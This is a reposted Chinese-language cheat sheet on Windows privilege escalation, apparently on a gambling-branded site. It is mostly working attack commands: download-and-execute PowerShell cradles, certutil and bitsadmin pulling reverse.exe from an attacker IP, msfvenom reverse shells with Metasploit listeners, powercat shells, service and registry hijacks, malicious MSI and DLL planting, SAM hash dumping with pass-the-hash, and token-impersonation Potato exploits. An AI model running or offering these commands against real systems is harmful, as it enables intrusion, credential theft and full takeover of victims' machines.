window提权相关操作和技巧 | 宜武汇-ag真人国际厅网站

window 下载文件和加载木马

bitsadmin 可以用来在windows 命令行下下载文件。bitsadmin是windows 后台智能传输服务的一个工具,windows 的自动更新,补丁之类的下载就是用这个工具来实现的。windows server2003和xp是没有bitsadmin的,winc7及其之后的机器才有。

bitsadmin的一些特性:

  • bitsadmin 可以在网络不稳定的状态下下载文件,出错会自动重试,可靠性应该相当不错。
  • bitsadmin 可以跟随url跳转.
  • bitsadmin 不像curl wget 这类工具那样能用来下载html页面。

用法:

bitsadmin /transfer test http://10.6.54.194:8000/reverse.exe c:\users\staccato\desktop\reverse.exe # "任务名" 可以随意起,保存文件的文件路径必须是已经存在的目录,否则不能下载。 #默认情况下bitsadmin下载速度极慢,下载较大文件需要设置优先级提速 start bitsadmin /transfer test http://10.6.54.194:8000/reverse.exe f:\reverse.exe bitsadmin /setpriority test foreground #设置任务test为最高优先级

windows下一款下载文件的工具,自从windowsserver 2003就自带。但是在server 2003使用会有问题。也就是说,以下命令是在win7及其以后的机器使用。但是该命令的使用会引发杀毒软件的查杀,所以在实际渗透中几乎不适用该命令.

certutil -urlcache -split -f http://10.6.54.194:8000/reverse.exe #下载文件到当前目录下 certutil -urlcache -split -f http://10.6.54.194:8000/reverse.exe c:/users/staccato/desktop/reserver.exe #下载文件到指定目录下

iwr是powershell下的一款工具,所以我们如果在cmd下执行该命令的话,需要在前面加powershell命令,但是这会被安全软件检测到。所以在执行前,先进入powershell下。

iwr -uri http://www.test.com/vps.exe -outfile vps.exe -usebasicparsing

在cmd当前目录下有powerview.ps1脚本,并执行其中的get-netdomain模块

powershell -exec bypass import-module .\powerview.ps1;get-netdomain

远程下载并执行test.ps1脚本、远程下载powerview.ps1脚本,并执行其中的get-netdomain模块

powershell -exec bypass -c iex (new-object system.net.webclient).downloadstring('http://xx.xx.xx.xx/test.ps1') powershell -exec bypass -c iex (new-object system.net.webclient).downloadstring('http://xx.xx.xx.xx/powerview.ps1');import-module .\powerview.ps1;get-netdomain

window反弹shell

#vps上操作 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.6.54.194 lport=7788 -f psh-reflection -o 7788.ps1 #生成木马文件 7788.ps1 python -m simplehttpserver 80 #开启web服务 #msf监听 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.6.54.194 set lport 7788 run
#目标机器上操作 powershell -windowstyle hidden -exec bypass -c "iex (new-object net.webclient).downloadstring('http://http://10.6.54.194:8000/7788.ps1');xx.ps1" #后台运行 或者 powershell -exec bypass -c "iex (new-object net.webclient).downloadstring('http://10.6.54.194:8000/7788.ps1');xx.ps1'

亲测所有机器都适用

powershell iex (new-object system.net.webclient).downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 10.6.54.194 -p 8888 -e cmd powershell -nop -exec bypass -c "iex (new-object system.net.webclient)downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 10.6.54.194 -p 8888 -e cmd.exe"

windows10 经常性不能用。windows 2008r2以下百分百适用。

powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.6.54.194:8080/a'))" #后台运行 powershell.exe -c "iex ((new-object net.webclient).downloadstring('http://10.6.54.194:8080/a'))"

window提权

https://github.com/carlospolop/peass-ng/tree/master/winpeas winpeas 是一个脚本,用于枚举目标系统以发现权限升级路径。
accesschk是微软提供的一款安全检查工具,是sysintenals集合中的一款工具,作为确保他们创建安全环境windows管理员通常需要知道特定用户或组对资源(包括文件、目录、注册表项、全局对象和windows服务)拥有哪些类型的访问权限。 accesschk.exe /accepteula( /accepteula一定要加上去,否则会自动弹出一个是否接收许可协议) -q 忽略banner -u 忽略错误 -v 详细信息 -w 只显示拥有可写权的对象 accesschk.exe /accepteula -uvwqk "路径可以根据winpeas返回结果填写"
此提权方法是利用系统本身存在的一些系统内核溢出漏洞,但未曾打相应的补丁,通过对比systeminfo信息中的补丁信息来查找缺失的补丁号,通过缺失补丁号对照相应的系统版本查找对应可以提权提升的exp #手工查找补丁情况 systeminfo wmic qfe get caption,description,hotfixid,installedon #msf扫描 post/windows/gather/enum_patches post/multi/recon/local_exploit_suggester wes-ng:一些漏洞利用枚举脚本(例如 winpeas)将要求您将它们上传到目标系统并在那里运行。这可能会导致防病毒软件检测并删除它们。为了避免不必要的动静来引起注意,可以使用 wes-ng,wes-ng在攻击机器上运行。 https://github.com/bitsadmin/wesng 在目标机器上使用systeminfo > systeminfo.txt 获取信息 攻击机器上使用以下命令进行比对缺失的补丁 python wes.py systeminfo.txt
使用accesschk检测当前用户user的权限 accesschk.exe /accepteula -uwcqv user daclsvc 需要有权限更改服务配置(service_all_access或service_query_config) 查询拥有该权限组的服务信息 sc qc 组(如daclsvc) 更改服务关联的可执行文件和帐户(localsystem是可用的最高特权帐户) sc config daclsvc binpath= "\"c:\privesc\reverse.exe\"" obj= localsystem 重启服务触发有效载荷 net start daclsvc 或 sc stop daclsvc sc start daclsvc
举例以下未引用的路径 c:\myprograms\disk sorter enterprise\bin\disksrs.exe 由于disk sorter enterprise文件夹名称上有空格,会导致window执行的命令语义不明确。对于window来说有三种执行方式。 命令 参数1 参数2 c:\myprograms\disk.exe sorter enterprise\bin\disksrs.exe c:\myprograms\disk sorter.exe enterprise\bin\disksrs.exe c:\myprograms\disk sorter enterprise\bin\disksrs.exe window会按照标表中显示的顺序搜索每一个可执行文件,先搜索c:\myprograms\disk.exe,如存在,则该服务运行此可执行文件。如不存在,则继续搜索c:\myprograms\disk sorter.exe,以此类推。 使用sc查询服务配置 sc qc unquotedsvc binary_path_name : c:\program files\unquoted path service\common files\unquotedpathservice.exe service_start_name : localsystem 使用accesschk检查写入权限 accesschk.exe /accepteula -uwdq "c:\program files\unquoted path service\" 复制有效载荷重命名到具有写入权限的目录 copy c:\privesc\reverse.exe "c:\program files\unquoted path service\common.exe" 重启服务触发有效载荷 net start unquotedsvc
如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限,则攻击者可以轻而易举地获得服务帐户的特权。 使用sc查询服务配置 sc qc filepermsvc binary_path_name : "c:\program files\file permissions service\filepermservice.exe" service_start_name : localsystem 使用accesschk检查写入权限 accesschk.exe /accepteula -quvw "c:\program files\file permissions service\filepermservice.exe" 复制有效载荷重命名到具有写入权限的目录 copy c:\privesc\reverse.exe "c:\program files\file permissions service\filepermservice.exe" /y 重启服务触发有效载荷 net start filepermsvc
每个服务的窗口注册表存储条目。由于注册表条目可能具有acl,如果acl配置错误,即使我们不能直接修改服务,也有可能修改服务的配置。 使用sc查询服务配置 sc qc regsvc binary_path_name : "c:\program files\insecure registry service\insecureregistryservice.exe" service_start_name : localsystem 使用accesschk或poershell检查写入权限 c:\privesc\accesschk.exe /accepteula -uvwqk hklm\system\currentcontrolset\services\regsvc get-acl hklm:\system\currentcontrolset\services\regsvc | format-list rw nt authority\system(nt authority\interactive组基本上是所有登录用户可写入) 覆盖 imagepath 注册表项指向有效载荷 reg add hklm\system\currentcontrolset\services\regsvc /v imagepath /t reg_expand_sz /d c:\privesc\reverse.exe /f 重启服务触发有效载荷 net start regsvc
windows可以配置在启动时运行命令,拥有更高的特权。这些“自动运行”是在注册表中配置的。如果可以写入自动运行可执行文件,并且能够重新启动系统(或等待系统重新启动),可能会提升权限。 查询可执行文件的注册表 reg query hklm\software\microsoft\windows\currentversion\run reg_sz "c:\program files\autorun program\program.exe" 使用accesschk检查写入权限 accesschk.exe /accepteula -wvu "c:\program files\autorun program\program.exe" 覆盖autorun可执行文件 copy c:\privesc\reverse.exe "c:\program files\autorun program\program.exe" /y 开启msf监听重启window,等待管理员重新登录
windows安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。通常以启动它的用户的权限级别运行。这些可以配置为以任何用户帐户(甚至是非特权帐户)的更高权限运行。这可能允许我们生成一个以管理员权限运行的恶意msi文件。 在注册表中查询 alwaysinstallelevated 键: reg query hkcu\software\policies\microsoft\windows\installer /v alwaysinstallelevated reg query hklm\software\policies\microsoft\windows\installer /v alwaysinstallelevated 两个键都设置为1(0x1),如没有激活alwaysinstallelevated,则显示为系统找不到指定的注册表项或值 使用 msfvenom 生成反向 shell msfvenom -p windows/x64/shell_reverse_tcp lhost=10.6.54.194 lport=53 -f msi -o reverse.msi 运行安装程序以触发以 system 权限运行的反向 shell msiexec /quiet /qn /i c:\privesc\reverse.msi
部分情况下可以在注册表中搜索到密码 reg query hklm /f password /t reg_sz /s reg query "hklm\software\microsoft\windows nt\currentversion\winlogon"
windows在安全帐户管理器(sam)中存储密码。这些哈希用一个密钥加密,该密钥可以在system的文件中找到。如果可以读取sam和系统文件,则可以提取哈希。sam和system文件位于c:\windows\system32\config directory在 windows 运行时,文件已锁定。文件的备份可能存在于c:\windows\repairor,c:\windows\system32\config\regback directories 将sam和system文件传输到攻击机上,使用creddump7转储存hash git clone https://github.com/tib3rius/creddump7 pip3 install pycrypto python3 creddump7/pwdump.py system sam 将完整的管理员哈希与pth-winexe一起使用,以生成一个以管理员身份运行的shell,而无需破解其密码。完整哈希包括lm和ntlm哈希,以冒号分隔 pth-winexe -u 'admin%hash' //10.10.146.18 cmd.exe
windows允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。 列出保存的凭据 cmdkey /list 虽然看不到实际密码,如果有值得尝试的凭据,可以配合命令 runas 和 /savecred 选项一起使用 runas /savecred /user:admin cmd.exe
windows有一个应用程序的启动目录,里面的程序可以在登录时自动运行,如果可以在这个目录中创建文件,可以在管理员登录时触发shell提权。必须使用快捷方式文件.lnk。 使用accesschk检查写入权限 accesschk.exe /accepteula -d "c:\programdata\microsoft\windows\start menu\programs\startup" 使用vb脚本创建快捷方式 set ows = wscript.createobject("wscript.shell") slinkfile = "c:\programdata\microsoft\windows\start menu\programs\startup\reverse.lnk" set olink = ows.createshortcut(slinkfile) olink.targetpath = "c:\privesc\reverse.exe" olink.save cscript c:\privesc\createshortcut.vbs kali开启监听等待管理员登录
windows程序启动的时候需要dll。如果这些dll不存在,则可以通过在应用程序要查找的位置放置恶意dll来提权。通常,windows应用程序有其预定义好的搜索dll的路径,它会根据下面的顺序进行搜索: 1、应用程序加载的目录 2、c:\windows\system32 3、c:\windows\system 4、c:\windows 5、当前工作目录current working directory,cwd 6、在path环境变量的目录(先系统后用户) 使用msf生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost=10.6.54.194 lport=7788 -f dll -o staccato.dll 利用火绒剑进行进程分析加载dll,一般寻找程序dll利用。将木马替换掉程序使用的dll文件等待上线即可。
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。允许在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。 令牌分为: 访问令牌(access token):表示访问控制操作主体的系统对象 。 会话令牌(session token):是交互会话中唯一的身份标识符。 密保令牌(security token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备。 msf 拿到会话 use incognito #进入incognito模块 list_tokens -u #列出令牌 delegation token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问) impresonation token:模拟令牌,它是非交互的会话。 impresonate_token "令牌名" #使用令牌假冒用户

仅当当前帐户有权模拟安全令牌时才能执行此操作。一般大多数的服务型账户(iis、mssql等)有这个权限,因此这通常适用于大多数服务帐户,而不适用于大多数用户级帐户。

https://github.com/foxglovesec/rottenpotato 烂土豆不适用于 >= windows 10 1809 和 windows server 2019 的版本 烂土豆配合msf提权 使用令牌窃取进行提权 use incognito (进入incognito模块) 通过msf执行烂土豆 execute -ch -f rottenpotato.exe list_tokens -u (列出令牌) impersonate_token "nt authority\\system"
https://github.com/breenmachine/rottenpotatong msfrottenpotato.exe t c:\windows\temp\test.bat
https://github.com/ohpe/juicy-potato http://ohpe.it/juicy-potato/clsid/ 多汁土豆适用于< windows 10 1809 < windows server 2019 不需要 meterpreter shell,可以指定com服务器侦听端口,可以选择clsid 查看当前用户权限,是否符合要求 whoami /priv 限制条件:需要支持seimpersonate或者seassignprimarytoken权限,开启dcom,本地支持rpc或者远程服务器支持prc并能成功登录,能够找到可用的com对象 如果开启seimpersonate权限,juicypotato的参数可以使用-t t 如果开启seassignprimarytoken权限,juicypotato的参数可以使用-t u 使用详情见https://github.com/ohpe/juicy-potato
https://github.com/antoniococo/juicypotatong juicypotatong.exe -t * -p "c:\windows\system32\cmd.exe" -a "/c whoami > c:\juicypotatong.txt"

原文链接:https://xz.aliyun.com/t/12588

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/window提权相关操作和技巧/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图